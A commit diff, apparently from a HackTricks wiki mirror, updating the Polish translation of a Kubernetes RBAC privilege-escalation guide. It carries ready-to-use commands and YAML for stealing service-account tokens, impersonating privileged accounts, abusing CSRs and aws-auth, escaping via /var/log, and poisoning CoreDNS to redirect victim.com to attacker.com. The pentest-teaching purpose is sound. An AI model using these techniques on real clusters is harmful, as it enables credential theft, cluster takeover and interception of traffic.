mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
+106
-85
@@ -11,13 +11,13 @@ Odnosimy się do sztuki uzyskiwania **dostępu do innego podmiotu** w klastrze *
|
||||
|
||||
- Możliwość **podszywania się** pod innych użytkowników/grupy/SAs z lepszymi uprawnieniami w obrębie klastra kubernetes lub do zewnętrznych chmur
|
||||
- Możliwość **tworzenia/patchowania/uruchamiania podów**, gdzie możesz **znaleźć lub podłączyć SAs** z lepszymi uprawnieniami w obrębie klastra kubernetes lub do zewnętrznych chmur
|
||||
- Możliwość **odczytywania sekretów**, ponieważ tokeny SAs są przechowywane jako sekrety
|
||||
- Możliwość **czytania sekretów**, ponieważ tokeny SAs są przechowywane jako sekrety
|
||||
- Możliwość **ucieczki do węzła** z kontenera, gdzie możesz ukraść wszystkie sekrety kontenerów działających na węźle, dane uwierzytelniające węzła oraz uprawnienia węzła w obrębie chmury, w której działa (jeśli w ogóle)
|
||||
- Piątą techniką, która zasługuje na wzmiankę, jest możliwość **uruchomienia port-forward** w podzie, ponieważ możesz uzyskać dostęp do interesujących zasobów w tym podzie.
|
||||
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
|
||||
**Wildcard (\*) daje uprawnienia do każdego zasobu z dowolnym czasownikiem**. Jest używany przez administratorów. W obrębie ClusterRole oznacza to, że atakujący mógłby nadużyć anynamespace w klastrze
|
||||
**dziki znak (\*) daje uprawnienia do dowolnego zasobu z dowolnym czasownikiem**. Jest używany przez administratorów. W obrębie ClusterRole oznacza to, że atakujący mógłby nadużyć anynamespace w klastrze
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
Atakujący z uprawnieniami do tworzenia poda może dołączyć uprzywilejowane konto usługi do poda i ukraść token, aby podszyć się pod konto usługi. Efektywnie eskalując uprawnienia do niego.
|
||||
Atakujący z uprawnieniami do tworzenia poda może dołączyć uprzywilejowane konto serwisowe do poda i ukraść token, aby podszyć się pod konto serwisowe. Efektywnie eskalując uprawnienia do niego.
|
||||
|
||||
Przykład poda, który ukradnie token konta usługi `bootstrap-signer` i wyśle go do atakującego:
|
||||
Przykład poda, który ukradnie token konta serwisowego `bootstrap-signer` i wyśle go do atakującego:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -138,9 +138,9 @@ Prawdopodobnie chcesz być **bardziej dyskretny**, na następnych stronach może
|
||||
|
||||
_Możesz znaleźć przykład, jak stworzyć/wykorzystać poprzednie konfiguracje podów z uprawnieniami w_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Pod Create - Przenieś do chmury
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
Jeśli możesz **stworzyć** **pod** (i opcjonalnie **konto usługi**), możesz być w stanie **uzyskać uprawnienia w środowisku chmurowym** poprzez **przypisanie ról chmurowych do podu lub konta usługi** i następnie uzyskanie do niego dostępu.\
|
||||
Jeśli możesz **stworzyć** **pod** (i opcjonalnie **konto usługi**), możesz być w stanie **uzyskać uprawnienia w środowisku chmurowym** poprzez **przypisanie ról chmurowych do poda lub konta usługi** i następnie uzyskanie do niego dostępu.\
|
||||
Co więcej, jeśli możesz stworzyć **pod z przestrzenią nazw sieci hosta**, możesz **ukraść rolę IAM** instancji **węzła**.
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
@@ -149,11 +149,11 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### **Utwórz/Zaktualizuj wdrożenie, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs i Cronjobs**
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
Możliwe jest nadużycie tych uprawnień do **stworzenia nowego podu** i uzyskania uprawnień, jak w poprzednim przykładzie.
|
||||
Możliwe jest nadużycie tych uprawnień, aby **stworzyć nowy pod** i uzyskać uprawnienia, jak w poprzednim przykładzie.
|
||||
|
||||
Poniższy yaml **tworzy daemonset i eksfiltruje token SA** wewnątrz podu:
|
||||
Poniższy yaml **tworzy daemonset i eksfiltruje token SA** wewnątrz poda:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -197,16 +197,21 @@ Dlatego możliwe jest **dostanie się do poda i kradzież tokena SA**, lub wejś
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> Domyślnie polecenie jest wykonywane w pierwszym kontenerze poda. Uzyskaj **wszystkie kontenery w podzie** za pomocą `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'`, a następnie **wskaż kontener**, w którym chcesz je wykonać, używając `kubectl exec -it <pod_name> -c <container_name> -- sh`.
|
||||
|
||||
Jeśli to kontener bez dystrybucji, możesz spróbować użyć **wbudowanych poleceń powłoki**, aby uzyskać informacje o kontenerach lub przesłać własne narzędzia, takie jak **busybox**, używając: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
To uprawnienie pozwala na **przekierowanie jednego lokalnego portu na jeden port w określonym podzie**. Ma to na celu ułatwienie debugowania aplikacji działających wewnątrz poda, ale atakujący może to wykorzystać, aby uzyskać dostęp do interesujących (jak DB) lub podatnych aplikacji (webów?) wewnątrz poda:
|
||||
```
|
||||
To uprawnienie pozwala na **przekierowanie jednego lokalnego portu do jednego portu w określonym podzie**. Ma to na celu ułatwienie debugowania aplikacji działających wewnątrz poda, ale atakujący może to wykorzystać, aby uzyskać dostęp do interesujących (jak bazy danych) lub podatnych aplikacji (webów?) wewnątrz poda:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
As [**wskazano w tym badaniu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), jeśli możesz uzyskać dostęp lub utworzyć pod z **zamontowanym katalogiem `/var/log/` hosta**, możesz **uciec z kontenera**.\
|
||||
Dzieje się tak, ponieważ gdy **Kube-API próbuje uzyskać logi** kontenera (używając `kubectl logs <pod>`), **żąda pliku `0.log`** podu, korzystając z punktu końcowego `/logs/` usługi **Kubelet**.\
|
||||
As [**wskazano w tym badaniu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), jeśli możesz uzyskać dostęp lub stworzyć pod z **zamontowanym katalogiem `/var/log/`** na nim, możesz **uciec z kontenera**.\
|
||||
Dzieje się tak, ponieważ gdy **Kube-API próbuje uzyskać logi** kontenera (używając `kubectl logs <pod>`), **żąda pliku `0.log`** podu za pomocą punktu końcowego `/logs/` usługi **Kubelet**.\
|
||||
Usługa Kubelet udostępnia punkt końcowy `/logs/`, który zasadniczo **udostępnia system plików `/var/log` kontenera**.
|
||||
|
||||
Dlatego atakujący z **dostępem do zapisu w folderze /var/log/** kontenera mógłby nadużyć tego zachowania na 2 sposoby:
|
||||
@@ -235,7 +240,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
|
||||
#### Ominięcie ochrony readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Jeśli masz wystarczające szczęście i wysoko uprzywilejowana zdolność `CAP_SYS_ADMIN` jest dostępna, możesz po prostu ponownie zamontować folder jako rw:
|
||||
Jeśli masz szczęście i wysoko uprzywilejowana zdolność `CAP_SYS_ADMIN` jest dostępna, możesz po prostu ponownie zamontować folder jako rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
@@ -247,7 +252,7 @@ allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Które miało na celu zapobieganie ucieczkom, jak te poprzednie, poprzez zamiast używania montażu hostPath, użycie PersistentVolume i PersistentVolumeClaim do zamontowania folderu hosta w kontenerze z dostępem do zapisu:
|
||||
Który miał na celu zapobieganie ucieczkom, jak te poprzednie, poprzez zamiast używania montażu hostPath, użycie PersistentVolume i PersistentVolumeClaim do zamontowania folderu hosta w kontenerze z dostępem do zapisu:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -295,14 +300,14 @@ name: task-pv-storage-vol
|
||||
```
|
||||
### **Podszywanie się pod uprzywilejowane konta**
|
||||
|
||||
Z uprawnieniem [**podszywania się pod użytkownika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), atakujący może podszywać się pod uprzywilejowane konto.
|
||||
Dzięki [**podszywaniu się pod użytkownika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) atakujący może podszyć się pod uprzywilejowane konto.
|
||||
|
||||
Wystarczy użyć parametru `--as=<username>` w poleceniu `kubectl`, aby podszyć się pod użytkownika, lub `--as-group=<group>`, aby podszyć się pod grupę:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
```
|
||||
Lub użyj REST API:
|
||||
Lub użyj interfejsu API REST:
|
||||
```bash
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Impersonate-Group: system:masters"\
|
||||
@@ -318,7 +323,7 @@ curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1
|
||||
```
|
||||
### Tworzenie i Odczytywanie Sekretów
|
||||
|
||||
Istnieje specjalny rodzaj sekretu Kubernetes typu **kubernetes.io/service-account-token**, który przechowuje tokeny konta usługi. Jeśli masz uprawnienia do tworzenia i odczytywania sekretów, a także znasz nazwę konta usługi, możesz utworzyć sekret w następujący sposób, a następnie ukraść token konta usługi ofiary z niego:
|
||||
Istnieje specjalny rodzaj sekretu Kubernetes typu **kubernetes.io/service-account-token**, który przechowuje tokeny konta usługi. Jeśli masz uprawnienia do tworzenia i odczytywania sekretów, a także znasz nazwę konta usługi, możesz stworzyć sekret w następujący sposób, a następnie ukraść token konta usługi ofiary z niego:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -377,17 +382,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Zauważ, że jeśli masz pozwolenie na tworzenie i odczytywanie sekretów w danej przestrzeni nazw, konto usługi ofiary również musi znajdować się w tej samej przestrzeni nazw.
|
||||
Zauważ, że jeśli masz prawo do tworzenia i odczytywania sekretów w danej przestrzeni nazw, konto usługi ofiary również musi znajdować się w tej samej przestrzeni nazw.
|
||||
|
||||
### Odczytywanie sekretu – brute-forcing tokenów ID
|
||||
|
||||
Podczas gdy atakujący posiadający token z uprawnieniami do odczytu wymaga dokładnej nazwy sekretu, aby go użyć, w przeciwieństwie do szerszego przywileju _**wyliczania sekretów**_, nadal istnieją luki. Domyślne konta usług w systemie mogą być wyliczane, z każdym powiązanym z sekretem. Te sekrety mają strukturę nazwy: statyczny prefiks, a następnie losowy pięcioznakowy alfanumeryczny token (z wyłączeniem niektórych znaków) zgodnie z [kodem źródłowym](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Token jest generowany z ograniczonego zestawu 27 znaków (`bcdfghjklmnpqrstvwxz2456789`), a nie z pełnego zakresu alfanumerycznego. To ograniczenie zmniejsza całkowitą liczbę możliwych kombinacji do 14 348 907 (27^5). W związku z tym atakujący mógłby wykonać atak brute-force, aby wydedukować token w ciągu kilku godzin, co potencjalnie prowadziłoby do eskalacji uprawnień poprzez uzyskanie dostępu do wrażliwych kont usług.
|
||||
Token jest generowany z ograniczonego zestawu 27 znaków (`bcdfghjklmnpqrstvwxz2456789`), a nie z pełnego zakresu alfanumerycznego. To ograniczenie zmniejsza całkowitą liczbę możliwych kombinacji do 14,348,907 (27^5). W związku z tym atakujący mógłby wykonać atak brute-force, aby wydedukować token w ciągu kilku godzin, co potencjalnie prowadziłoby do eskalacji uprawnień poprzez uzyskanie dostępu do wrażliwych kont usług.
|
||||
|
||||
### Żądania podpisania certyfikatu
|
||||
|
||||
Jeśli masz czasowniki **`create`** w zasobie `certificatesigningrequests` (lub przynajmniej w `certificatesigningrequests/nodeClient`). Możesz **utworzyć** nowy CeSR dla **nowego węzła.**
|
||||
Jeśli masz czasowniki **`create`** w zasobie `certificatesigningrequests` (lub przynajmniej w `certificatesigningrequests/nodeClient`). Możesz **utworzyć** nowy CeSR dla **nowego węzła**.
|
||||
|
||||
Zgodnie z [dokumentacją, możliwe jest automatyczne zatwierdzanie tych żądań](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), więc w takim przypadku **nie potrzebujesz dodatkowych uprawnień**. Jeśli nie, musiałbyś być w stanie zatwierdzić żądanie, co oznacza aktualizację w `certificatesigningrequests/approval` i `approve` w `signers` z resourceName `<signerNameDomain>/<signerNamePath>` lub `<signerNameDomain>/*`
|
||||
|
||||
@@ -422,7 +427,7 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
Więc, z nowym zatwierdzonym CSR węzła, możesz **wykorzystać** specjalne uprawnienia węzłów do **kradzieży sekretów** i **eskalacji uprawnień**.
|
||||
Więc, z zatwierdzonym nowym CSR węzła, możesz **wykorzystać** specjalne uprawnienia węzłów do **kradzieży sekretów** i **eskalacji uprawnień**.
|
||||
|
||||
W [**tym poście**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) i [**tym**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) konfiguracja GKE K8s TLS Bootstrap jest skonfigurowana z **automatycznym podpisywaniem** i jest wykorzystywana do generowania poświadczeń nowego węzła K8s, a następnie wykorzystywana do eskalacji uprawnień poprzez kradzież sekretów.\
|
||||
Jeśli **masz wspomniane uprawnienia, możesz zrobić to samo**. Zauważ, że pierwszy przykład omija błąd uniemożliwiający nowemu węzłowi dostęp do sekretów wewnątrz kontenerów, ponieważ **węzeł może uzyskać dostęp tylko do sekretów kontenerów zamontowanych na nim.**
|
||||
@@ -433,7 +438,7 @@ Sposób na obejście tego to po prostu **utworzenie poświadczeń węzła dla na
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
Podmioty, które mogą modyfikować **`configmaps`** w przestrzeni nazw kube-system na klastrach EKS (muszą być w AWS), mogą uzyskać uprawnienia administratora klastra, nadpisując configmap **aws-auth**.\
|
||||
Podmioty, które mogą modyfikować **`configmaps`** w przestrzeni nazw kube-system na klastrach EKS (muszą być w AWS), mogą uzyskać uprawnienia administratora klastra, nadpisując **aws-auth** configmap.\
|
||||
Potrzebne czasowniki to **`update`** i **`patch`**, lub **`create`**, jeśli configmap nie został utworzony:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
@@ -476,15 +481,55 @@ groups:
|
||||
> [!WARNING]
|
||||
> Możesz użyć **`aws-auth`** do **utrzymania** dostępu dla użytkowników z **innych kont**.
|
||||
>
|
||||
> Jednak `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **nie działa z innego konta**. Ale w rzeczywistości `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` działa, jeśli podasz ARN klastra zamiast samej nazwy.\
|
||||
> Jednak `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **nie działa z innego konta**. Ale właściwie `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` działa, jeśli wstawisz ARN klastra zamiast samej nazwy.\
|
||||
> Aby `kubectl` działał, upewnij się, że **skonfigurujesz** **kubeconfig ofiary** i w argumentach exec aws dodaj `--profile other_account_role`, aby kubectl używał profilu innego konta do uzyskania tokena i kontaktu z AWS.
|
||||
|
||||
### CoreDNS config map
|
||||
|
||||
Jeśli masz uprawnienia do modyfikacji **`coredns` configmap** w przestrzeni nazw `kube-system`, możesz zmodyfikować adresy, do których będą rozwiązywane domeny, aby móc przeprowadzać ataki MitM w celu **kradzieży wrażliwych informacji lub wstrzykiwania złośliwej treści**.
|
||||
|
||||
Potrzebne czasowniki to **`update`** i **`patch`** dla **`coredns`** configmap (lub wszystkich config maps).
|
||||
|
||||
Zwykły **plik coredns** zawiera coś takiego:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
.:53 {
|
||||
log
|
||||
errors
|
||||
health {
|
||||
lameduck 5s
|
||||
}
|
||||
ready
|
||||
kubernetes cluster.local in-addr.arpa ip6.arpa {
|
||||
pods insecure
|
||||
fallthrough in-addr.arpa ip6.arpa
|
||||
ttl 30
|
||||
}
|
||||
prometheus :9153
|
||||
hosts {
|
||||
192.168.49.1 host.minikube.internal
|
||||
fallthrough
|
||||
}
|
||||
forward . /etc/resolv.conf {
|
||||
max_concurrent 1000
|
||||
}
|
||||
cache 30
|
||||
loop
|
||||
reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
Atakujący mógłby pobrać to, uruchamiając `kubectl get configmap coredns -n kube-system -o yaml`, zmodyfikować, dodając coś takiego jak `rewrite name victim.com attacker.com`, aby za każdym razem, gdy uzyskiwany jest dostęp do `victim.com`, w rzeczywistości dostęp byłby do `attacker.com`. Następnie można to zastosować, uruchamiając `kubectl apply -f poison_dns.yaml`.
|
||||
|
||||
Inną opcją jest po prostu edytowanie pliku, uruchamiając `kubectl edit configmap coredns -n kube-system` i wprowadzając zmiany.
|
||||
|
||||
### Eskalacja w GKE
|
||||
|
||||
Istnieją **2 sposoby przypisania uprawnień K8s do zasad GCP**. W każdym przypadku zasada również potrzebuje uprawnienia **`container.clusters.get`**, aby móc zebrać poświadczenia do uzyskania dostępu do klastra, lub będziesz musiał **wygenerować własny plik konfiguracyjny kubectl** (postępuj zgodnie z następującym linkiem).
|
||||
Są **2 sposoby przypisania uprawnień K8s do zasad GCP**. W każdym przypadku zasada również potrzebuje uprawnienia **`container.clusters.get`**, aby móc zebrać dane uwierzytelniające do uzyskania dostępu do klastra, lub będziesz musiał **wygenerować własny plik konfiguracyjny kubectl** (postępuj zgodnie z następującym linkiem).
|
||||
|
||||
> [!WARNING]
|
||||
> Rozmawiając z punktem końcowym API K8s, **token uwierzytelniający GCP zostanie wysłany**. Następnie GCP, przez punkt końcowy API K8s, najpierw **sprawdzi, czy zasada** (po e-mailu) **ma jakikolwiek dostęp wewnątrz klastra**, a następnie sprawdzi, czy ma **jakikolwiek dostęp przez GCP IAM**.\
|
||||
> Rozmawiając z punktem końcowym API K8s, **token uwierzytelniający GCP zostanie wysłany**. Następnie GCP, poprzez punkt końcowy API K8s, najpierw **sprawdzi, czy zasada** (po e-mailu) **ma jakikolwiek dostęp w klastrze**, a następnie sprawdzi, czy ma **jakikolwiek dostęp przez GCP IAM**.\
|
||||
> Jeśli **jakiekolwiek** z tych stwierdzeń jest **prawdziwe**, otrzyma **odpowiedź**. Jeśli **nie**, zostanie podany **błąd** sugerujący nadanie **uprawnień przez GCP IAM**.
|
||||
|
||||
Pierwsza metoda to użycie **GCP IAM**, uprawnienia K8s mają swoje **odpowiedniki w uprawnieniach GCP IAM**, a jeśli zasada je ma, będzie mogła z nich korzystać.
|
||||
@@ -493,30 +538,30 @@ Pierwsza metoda to użycie **GCP IAM**, uprawnienia K8s mają swoje **odpowiedni
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Druga metoda to **przypisanie uprawnień K8s wewnątrz klastra** poprzez identyfikację użytkownika po jego **e-mailu** (w tym konta serwisowe GCP).
|
||||
Drugą metodą jest **przypisanie uprawnień K8s wewnątrz klastra** poprzez identyfikację użytkownika po jego **e-mailu** (w tym konta serwisowe GCP).
|
||||
|
||||
### Tworzenie tokenów kont serwisowych
|
||||
### Tworzenie tokena serviceaccounts
|
||||
|
||||
Zasady, które mogą **tworzyć TokenRequests** (`serviceaccounts/token`) podczas rozmowy z punktem końcowym API K8s SAs (informacje z [**tutaj**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
Zasady, które mogą **`aktualizować`** lub **`patchować`** **`pods/ephemeralcontainers`**, mogą uzyskać **wykonanie kodu na innych podach**, a potencjalnie **wyjść** na ich węzeł, dodając kontener ephemerowy z uprzywilejowanym securityContext.
|
||||
Zasady, które mogą **`aktualizować`** lub **`patchować`** **`pods/ephemeralcontainers`**, mogą uzyskać **wykonanie kodu na innych podach**, a potencjalnie **wydostać się** na swoją węzeł, dodając tymczasowy kontener z uprzywilejowanym securityContext.
|
||||
|
||||
### ValidatingWebhookConfigurations lub MutatingWebhookConfigurations
|
||||
|
||||
Zasady z dowolnym z czasowników `create`, `update` lub `patch` nad `validatingwebhookconfigurations` lub `mutatingwebhookconfigurations` mogą być w stanie **utworzyć jedną z takich webhookconfigurations**, aby móc **eskalować uprawnienia**.
|
||||
|
||||
Dla przykładu [`mutatingwebhookconfigurations` sprawdź tę sekcję tego posta](#malicious-admission-controller).
|
||||
Dla [`mutatingwebhookconfigurations` przykładu sprawdź tę sekcję tego posta](#malicious-admission-controller).
|
||||
|
||||
### Eskalacja
|
||||
|
||||
Jak możesz przeczytać w następnej sekcji: [**Wbudowana zapobieganie eskalacji uprawnień**](#built-in-privileged-escalation-prevention), zasada nie może aktualizować ani tworzyć ról lub clusterroles bez posiadania tych nowych uprawnień. Z wyjątkiem sytuacji, gdy ma **czasownik `escalate`** nad **`roles`** lub **`clusterroles`**.\
|
||||
Wtedy może aktualizować/tworzyć nowe role, clusterroles z lepszymi uprawnieniami niż te, które ma.
|
||||
Jak można przeczytać w następnej sekcji: [**Wbudowana zapobieganie eskalacji uprawnień**](#built-in-privileged-escalation-prevention), zasada nie może aktualizować ani tworzyć ról lub clusterroles bez posiadania tych nowych uprawnień. Z wyjątkiem sytuacji, gdy ma **czasownik `escalate` lub `*`** nad **`roles`** lub **`clusterroles`** oraz odpowiednie opcje wiązania.\
|
||||
Wtedy może aktualizować/tworzyć nowe role, clusterroles z lepszymi uprawnieniami niż te, które posiada.
|
||||
|
||||
### Proxy węzłów
|
||||
|
||||
Zasady z dostępem do podzasobu **`nodes/proxy`** mogą **wykonywać kod na podach** za pośrednictwem API Kubelet (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Więcej informacji na temat uwierzytelniania Kubelet na tej stronie:
|
||||
Zasady z dostępem do **`nodes/proxy`** subresource mogą **wykonywać kod na podach** za pośrednictwem API Kubelet (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Więcej informacji na temat uwierzytelniania Kubelet na tej stronie:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
@@ -526,7 +571,7 @@ Masz przykład, jak uzyskać [**RCE rozmawiając autoryzowanym z API Kubelet tut
|
||||
|
||||
### Usuwanie podów + węzły nieschedulowalne
|
||||
|
||||
Zasady, które mogą **usuwać pody** (`delete` czasownik nad `pods` resource), lub **ewikować pody** (`create` czasownik nad `pods/eviction` resource), lub **zmieniać status poda** (dostęp do `pods/status`) i mogą **czynić inne węzły nieschedulowalnymi** (dostęp do `nodes/status`) lub **usuwać węzły** (`delete` czasownik nad `nodes` resource) i mają kontrolę nad pod, mogą **ukraść pody z innych węzłów**, aby były **wykonywane** w **skompromentowanym** **węźle** i atakujący może **ukraść tokeny** z tych podów.
|
||||
Zasady, które mogą **usuwać pody** (czasownik `delete` nad zasobem `pods`), lub **ewikować pody** (czasownik `create` nad zasobem `pods/eviction`), lub **zmieniać status poda** (dostęp do `pods/status`) i mogą **sprawić, że inne węzły będą nieschedulowalne** (dostęp do `nodes/status`) lub **usuwać węzły** (czasownik `delete` nad zasobem `nodes`) i mają kontrolę nad pod, mogą **ukraść pody z innych węzłów**, aby były **wykonywane** w **skompromentowanym** **węźle**, a atakujący może **ukraść tokeny** z tych podów.
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -539,27 +584,27 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Status usług (CVE-2020-8554)
|
||||
|
||||
Podmioty, które mogą **modyfikować** **`services/status`**, mogą ustawić pole `status.loadBalancer.ingress.ip`, aby wykorzystać **niepoprawioną CVE-2020-8554** i przeprowadzić **ataki MiTM przeciwko klastrowi**. Większość środków zaradczych dla CVE-2020-8554 zapobiega jedynie usługom ExternalIP (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
Podmioty, które mogą **modyfikować** **`services/status`**, mogą ustawić pole `status.loadBalancer.ingress.ip`, aby wykorzystać **niezałatany CVE-2020-8554** i przeprowadzić **ataki MiTM przeciwko klastrowi**. Większość środków zaradczych dla CVE-2020-8554 zapobiega jedynie usługom ExternalIP (zgodnie z [**tym**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Status węzłów i podów
|
||||
|
||||
Podmioty z uprawnieniami **`update`** lub **`patch`** do `nodes/status` lub `pods/status` mogą modyfikować etykiety, aby wpłynąć na wymogi dotyczące harmonogramowania.
|
||||
Podmioty z uprawnieniami **`update`** lub **`patch`** do `nodes/status` lub `pods/status` mogą modyfikować etykiety, aby wpłynąć na wymuszone ograniczenia harmonogramowania.
|
||||
|
||||
## Wbudowana zapobieganie eskalacji uprawnień
|
||||
|
||||
Kubernetes ma [wbudowany mechanizm](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) zapobiegający eskalacji uprawnień.
|
||||
|
||||
System ten zapewnia, że **użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikację ról lub powiązań ról**. Egzekwowanie tej zasady odbywa się na poziomie API, co stanowi zabezpieczenie nawet wtedy, gdy autoryzator RBAC jest nieaktywny.
|
||||
System ten zapewnia, że **użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikację ról lub powiązań ról**. Egzekwowanie tej zasady odbywa się na poziomie API, co zapewnia zabezpieczenie nawet wtedy, gdy autoryzator RBAC jest nieaktywny.
|
||||
|
||||
Zasada ta stanowi, że **użytkownik może tworzyć lub aktualizować rolę tylko wtedy, gdy posiada wszystkie uprawnienia, które ta rola obejmuje**. Ponadto zakres istniejących uprawnień użytkownika musi być zgodny z zakresem roli, którą próbuje utworzyć lub zmodyfikować: albo w skali klastra dla ClusterRoles, albo ograniczony do tej samej przestrzeni nazw (lub w skali klastra) dla Ról.
|
||||
|
||||
> [!WARNING]
|
||||
> Istnieje wyjątek od powyższej zasady. Jeśli podmiot ma **czasownik `escalate`** nad **`roles`** lub **`clusterroles`**, może zwiększyć uprawnienia ról i clusterroles, nawet nie mając tych uprawnień.
|
||||
|
||||
### **Pobierz i Zaktualizuj RoleBindings/ClusterRoleBindings**
|
||||
### **Pobierz i zmodyfikuj RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu, co wyjaśniono w poprzedniej sekcji. Nie możesz utworzyć/modyfikować rolebindingu, aby przyznać sobie lub innemu SA jakieś uprawnienia, jeśli ich już nie masz.**
|
||||
> **Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu wyjaśnionego w poprzedniej sekcji. Nie możesz utworzyć/modyfikować rolebindingu, aby przyznać sobie lub innemu SA jakieś uprawnienia, jeśli ich już nie masz.**
|
||||
|
||||
Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi na **powiązanie ról z kontem usługi**. To uprawnienie może potencjalnie prowadzić do eskalacji uprawnień, ponieważ **pozwala użytkownikowi powiązać uprawnienia administratora z skompromitowanym kontem usługi.**
|
||||
|
||||
@@ -569,55 +614,29 @@ Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi na **powiązanie r
|
||||
|
||||
Domyślnie nie ma żadnego szyfrowania w komunikacji między podami. Wzajemna autoryzacja, dwukierunkowa, pod do pod.
|
||||
|
||||
#### Utwórz aplikację proxy sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
#### Utwórz aplikację proxy sidecar
|
||||
|
||||
Utwórz swój plik .yaml
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
Edytuj swój plik .yaml i dodaj odkomentowane linie:
|
||||
Kontener sidecar polega po prostu na dodaniu **drugiego (lub więcej) kontenera wewnątrz poda**.
|
||||
|
||||
Na przykład, poniżej znajduje się część konfiguracji poda z 2 kontenerami:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
#metadata:
|
||||
# name: security-context-demo
|
